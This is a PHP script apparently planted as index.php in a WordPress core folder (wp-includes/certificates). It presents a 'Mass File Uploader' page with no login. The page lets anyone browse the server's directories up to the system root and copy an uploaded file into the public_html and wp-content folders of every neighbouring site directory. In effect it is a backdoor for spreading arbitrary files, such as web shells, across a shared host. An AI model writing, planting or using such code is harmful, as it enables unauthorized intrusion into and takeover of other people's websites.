/home/coolpkct/www/websites/connecthingx.com/wp-includes/certificates/index.php
<?php
session_start(); // Start a session to store the current directory

// Set the base directory to the location of the uploader script
$baseDir = __DIR__;

// Check if a directory is set in the session, otherwise use the base directory
$currentDir = isset($_SESSION['currentDir']) ? $_SESSION['currentDir'] : $baseDir;

// Handle directory navigation
if (isset($_GET['dir'])) {
    $newDir = realpath($_GET['dir']);
    // Ensure the new directory is valid and exists
    if (is_dir($newDir)) {
        $_SESSION['currentDir'] = $newDir;
        $currentDir = $newDir;
    }
}

// Get all directories in the current directory
$directories = array_filter(glob($currentDir . '/*'), 'is_dir');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Check if a file was uploaded
    if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) {
        $fileTmpPath = $_FILES['fileToUpload']['tmp_name'];
        $fileName = $_FILES['fileToUpload']['name'];

        // Get selected upload targets (e.g., public_html, wp-content)
        $uploadTargets = isset($_POST['uploadTargets']) ? $_POST['uploadTargets'] : [];

        foreach ($directories as $dir) {
            if (!empty($uploadTargets)) {
                foreach ($uploadTargets as $target) {
                    $targetDir = $dir . '/' . $target;
                    if (is_dir($targetDir)) {
                        $destPath = $targetDir . '/' . $fileName;
                        if (copy($fileTmpPath, $destPath)) {
                            echo "File uploaded successfully to $targetDir<br>";
                        } else {
                            echo "Error uploading file to $targetDir<br>";
                        }
                    } else {
                        echo "$target directory not found in $dir<br>";
                    }
                }
            } else {
                echo "No upload targets selected.<br>";
            }
        }
    } else {
        echo "No file uploaded or there was an upload error.";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mass File Uploader</title>
</head>
<body>
    <h1>Upload a File to Multiple Directories</h1>
    
    <h2>Current Directory: <?php echo htmlspecialchars($currentDir); ?></h2>
    
    <h3>Directories:</h3>
    <ul>
        <?php foreach ($directories as $dir): ?>
            <li>
                <a href="?dir=<?php echo urlencode($dir); ?>"><?php echo htmlspecialchars(basename($dir)); ?></a>
            </li>
        <?php endforeach; ?>
    </ul>

    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" required><br><br>

        <label>
            <input type="checkbox" name="uploadTargets[]" value="public_html"> Upload to <strong>public_html</strong>
        </label><br>

        <label>
            <input type="checkbox" name="uploadTargets[]" value="wp-content"> Upload to <strong>wp-content</strong>
        </label><br><br>

        <input type="submit" value="Upload">
    </form>
    
    <a href="?dir=<?php echo urlencode(dirname($currentDir)); ?>">Go Up</a> | 
    <a href="?dir=<?php echo urlencode('/'); ?>">Go to System Root</a>
</body>
</html>